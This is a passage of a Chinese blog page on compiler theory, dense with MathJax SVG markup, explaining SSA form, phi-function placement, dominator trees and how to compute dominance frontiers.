696Q469 696 481 695Q620 680 709 589T798 339Q798 173 697 82T432 -10Q262 -10 163 85T64 339ZM625 454Q618 502 600 538T562 593T515 624T469 639T431 642Q331 642 276 563Q232 493 232 353Q232 315 234 285T244 216T267 148T308 94T372 56Q405 46 432 46Q517 46 567 106T627 267Q631 299 631 353Q631 418 625 454Z" transform="translate(594,0)"></path><path data-c="1D408" d="M397 0Q370 3 218 3Q65 3 38 0H25V62H139V624H25V686H38Q65 683 218 683Q370 683 397 686H410V624H296V62H410V0H397Z" transform="translate(1458,0)"></path><path data-c="1D40D" d="M314 0Q296 3 181 3T48 0H39V62H147V624H39V686H171H265Q288 686 297 686T309 684T315 679Q317 676 500 455T684 233V624H576V686H585Q603 683 718 683T851 686H860V624H752V319Q752 15 750 11Q747 4 742 2T718 0H712Q708 0 706 0T700 0T696 1T693 2T690 4T687 7T684 11T679 16T674 23Q671 27 437 311L215 579V62H323V0H314Z" transform="translate(1894,0)"></path></g><g data-mml-node="mn" transform="translate(2827,423.1) scale(0.707)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g><g data-mml-node="mo" transform="translate(3230.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(3619.6,0)"><path data-c="1D446" d="M308 24Q367 24 416 76T466 197Q466 260 414 284Q308 311 278 321T236 341Q176 383 176 462Q176 523 208 573T273 648Q302 673 343 688T407 704H418H425Q521 704 564 640Q565 640 577 653T603 682T623 704Q624 704 627 704T632 705Q645 705 645 698T617 577T585 459T569 456Q549 456 549 465Q549 471 550 475Q550 478 551 494T553 520Q553 554 544 579T526 616T501 641Q465 662 419 662Q362 662 313 616T263 510Q263 480 278 458T319 427Q323 425 389 408T456 390Q490 379 522 342T554 242Q554 216 546 186Q541 164 528 137T492 78T426 18T332 -20Q320 -22 298 -22Q199 -22 144 33L134 44L106 13Q83 -14 78 -18T65 -22Q52 -22 52 -14Q52 -11 110 221Q112 227 130 227H143Q149 221 149 216Q149 214 148 207T144 186T142 153Q144 114 160 87T203 47T255 29T308 24Z"></path></g><g data-mml-node="mo" transform="translate(4264.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span>得到了绿色结点.这样做的目的就可以找到所有的变量<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span>的definition交汇的结点，其实也就是需要放置<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.493ex" xmlns="http://www.w3.org/2000/svg" width="1.48ex" height="1.493ex" role="img" focusable="false" viewBox="0 -442 654 660"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 442 582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g></g></g></svg></mjx-container></span>的位置。</p><figure><img src="https://www.m4p1e.com/images/1.png" alt="it-of-ssa"><figcaption aria-hidden="true">it-of-ssa</figcaption></figure><p><strong>那么如何让插<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.493ex" xmlns="http://www.w3.org/2000/svg" width="1.48ex" height="1.493ex" role="img" focusable="false" viewBox="0 -442 654 660"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 442 582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g></g></g></svg></mjx-container></span>函数变得efficient呢？</strong>就需要用到dominator tree和dominance frontier的概念，dominator tree就不用介绍了，主要把dominance frontier的概念弄清楚，这个概念是相对于某个结点来说的，即某个dominator tree上结点的dominance frontier：</p><p><strong>如何插入phiDefinition</strong> 给定某个结点<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span>，<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="6.622ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 2927 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D437" d="M287 628Q287 635 230 637Q207 637 200 638T193 647Q193 655 197 667T204 682Q206 683 403 683Q570 682 590 682T630 676Q702 659 752 597T803 431Q803 275 696 151T444 3L430 1L236 0H125H72Q48 0 41 2T33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM703 469Q703 507 692 537T666 584T629 613T590 629T555 636Q553 636 541 636T512 636T479 637H436Q392 637 386 627Q384 623 313 339T242 52Q242 48 253 48T330 47Q335 47 349 47T373 46Q499 46 581 128Q617 164 640 212T683 339T703 469Z"></path></g><g data-mml-node="mi" transform="translate(828,0)"><path data-c="1D439" d="M48 1Q31 1 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H742Q749 676 749 669Q749 664 736 557T722 447Q720 440 702 440H690Q683 445 683 453Q683 454 686 477T689 530Q689 560 682 579T663 610T626 626T575 633T503 634H480Q398 633 393 631Q388 629 386 623Q385 622 352 492L320 363H375Q378 363 398 363T426 364T448 367T472 374T489 386Q502 398 511 419T524 457T529 475Q532 480 548 480H560Q567 475 567 470Q567 467 536 339T502 207Q500 200 482 200H470Q463 206 463 212Q463 215 468 234T473 274Q473 303 453 310T364 317H309L277 190Q245 66 245 60Q245 46 334 46H359Q365 40 365 39T363 19Q359 6 353 0H336Q295 2 185 2Q120 2 86 2T48 1Z"></path></g><g data-mml-node="mo" transform="translate(1577,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1966,0)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 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style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span>的dominance frontier，若<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="10.497ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 4639.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 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class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span>第一个不支配的结点.</p><p><img src="https://www.m4p1e.com/images/aHR0cDovL2ltZy5ibG9nLmNzZG4ubmV0LzIwMTYwODE2MjIxMjI4MzY5" alt="dominance frontier">如何插入phi</p><p><strong>为什么dominance frontier可以帮助我们解决在哪里插入<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.493ex" xmlns="http://www.w3.org/2000/svg" width="1.48ex" height="1.493ex" role="img" focusable="false" viewBox="0 -442 654 660"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 442 582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g></g></g></svg></mjx-container></span> ？</strong> 如果某个变量<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.197ex" height="1.02ex" role="img" focusable="false" viewBox="0 -441 529 451"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g></g></g></svg></mjx-container></span>在结点<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span>下定义，理论上变量<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.197ex" height="1.02ex" role="img" focusable="false" viewBox="0 -441 529 451"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g></g></g></svg></mjx-container></span>可能会被传到所有被如何插入phi它严格支配的结点上，当变量<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.197ex" height="1.02ex" role="img" focusable="false" viewBox="0 -441 529 451"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g></g></g></svg></mjx-container></span>抵达dominance frontier时，就要考虑其他来自其他结点的是否也有关于变量<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.197ex" height="1.02ex" role="img" focusable="false" viewBox="0 -441 529 451"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g></g></g></svg></mjx-container></span>的定义，这是最初的直觉。</p><p>那么如何计算<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="6.622ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 2927 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D437" d="M287 628Q287 635 230 637Q207 637 200 638T193 647Q193 655 197 667T204 682Q206 683 403 683Q570 682 590 682T630 676Q702 659 752 597T803 431Q803 275 696 151T444 3L430 1L236 0H125H72Q48 0 41 2T33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM703 469Q703 507 692 537T666 584T629 613T590 629T555 636Q553 636 541 636T512 636T479 637H436Q392 637 386 627Q384 623 313 339T242 52Q242 48 253 48T330 47Q335 47 349 47T373 46Q499 46 581 128Q617 164 640 212T683 339T703 469Z"></path></g><g data-mml-node="mi" transform="translate(828,0)"><path data-c="1D439" d="M48 1Q31 1 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H742Q749 676 749 669Q749 664 736 557T722 447Q720 440 702 440H690Q683 445 683 453Q683 454 686 477T689 530Q689 560 682 579T663 610T626 626T575 633T503 634H480Q398 633 393 631Q388 629 386 623Q385 622 352 492L320 363H375Q378 363 398 363T426 364T448 367T472 374T489 386Q502 398 511 419T524 457T529 475Q532 480 548 480H560Q567 475 567 470Q567 467 536 339T502 207Q500 200 482 200H470Q463 206 463 212Q463 215 468 234T473 274Q473 303 453 310T364 317H309L277 190Q245 66 245 60Q245 46 334 46H359Q365 40 365 39T363 19Q359 6 353 0H336Q295 2 185 2Q120 2 86 2T48 1Z"></path></g><g data-mml-node="mo" transform="translate(1577,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1966,0)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mo" transform="translate(2538,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span>呢？</p><figure><img src="https://www.m4p1e.com/images/Screenshot%20from%202020-12-31%2016-59-06.png" alt="how-to-compute-df"><figcaption aria-hidden="true">how-to-compute-df</figcaption></figure><p>这算法很神奇啊，从每个结点<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.357ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 600 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>的每个前驱<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex" xmlns="http://www.w3.org/2000/svg" width="1.138ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 503 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" 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style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="8.02ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 3545 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mtext"><path data-c="69" d="M69 609Q69 637 87 653T131 669Q154 667 171 652T188 609Q188 579 171 564T129 549Q104 549 87 564T69 609ZM247 0Q232 3 143 3Q132 3 106 3T56 1L34 0H26V46H42Q70 46 91 49Q100 53 102 60T104 102V205V293Q104 345 102 359T88 378Q74 385 41 385H30V408Q30 431 32 431L42 432Q52 433 70 434T106 436Q123 437 142 438T171 441T182 442H185V62Q190 52 197 50T232 46H255V0H247Z"></path><path data-c="64" d="M376 495Q376 511 376 535T377 568Q377 613 367 624T316 637H298V660Q298 683 300 683L310 684Q320 685 339 686T376 688Q393 689 413 690T443 693T454 694H457V390Q457 84 458 81Q461 61 472 55T517 46H535V0Q533 0 459 -5T380 -11H373V44L365 37Q307 -11 235 -11Q158 -11 96 50T34 215Q34 315 97 378T244 442Q319 442 376 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jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.817ex" height="1.441ex" role="img" focusable="false" viewBox="0 -626 361 637"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g></g></g></svg></mjx-container></span>都把<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" 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width="6.145ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 2716 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D437" d="M287 628Q287 635 230 637Q207 637 200 638T193 647Q193 655 197 667T204 682Q206 683 403 683Q570 682 590 682T630 676Q702 659 752 597T803 431Q803 275 696 151T444 3L430 1L236 0H125H72Q48 0 41 2T33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM703 469Q703 507 692 537T666 584T629 613T590 629T555 636Q553 636 541 636T512 636T479 637H436Q392 637 386 627Q384 623 313 339T242 52Q242 48 253 48T330 47Q335 47 349 47T373 46Q499 46 581 128Q617 164 640 212T683 339T703 469Z"></path></g><g data-mml-node="mi" transform="translate(828,0)"><path data-c="1D439" d="M48 1Q31 1 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 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-0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.357ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 600 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 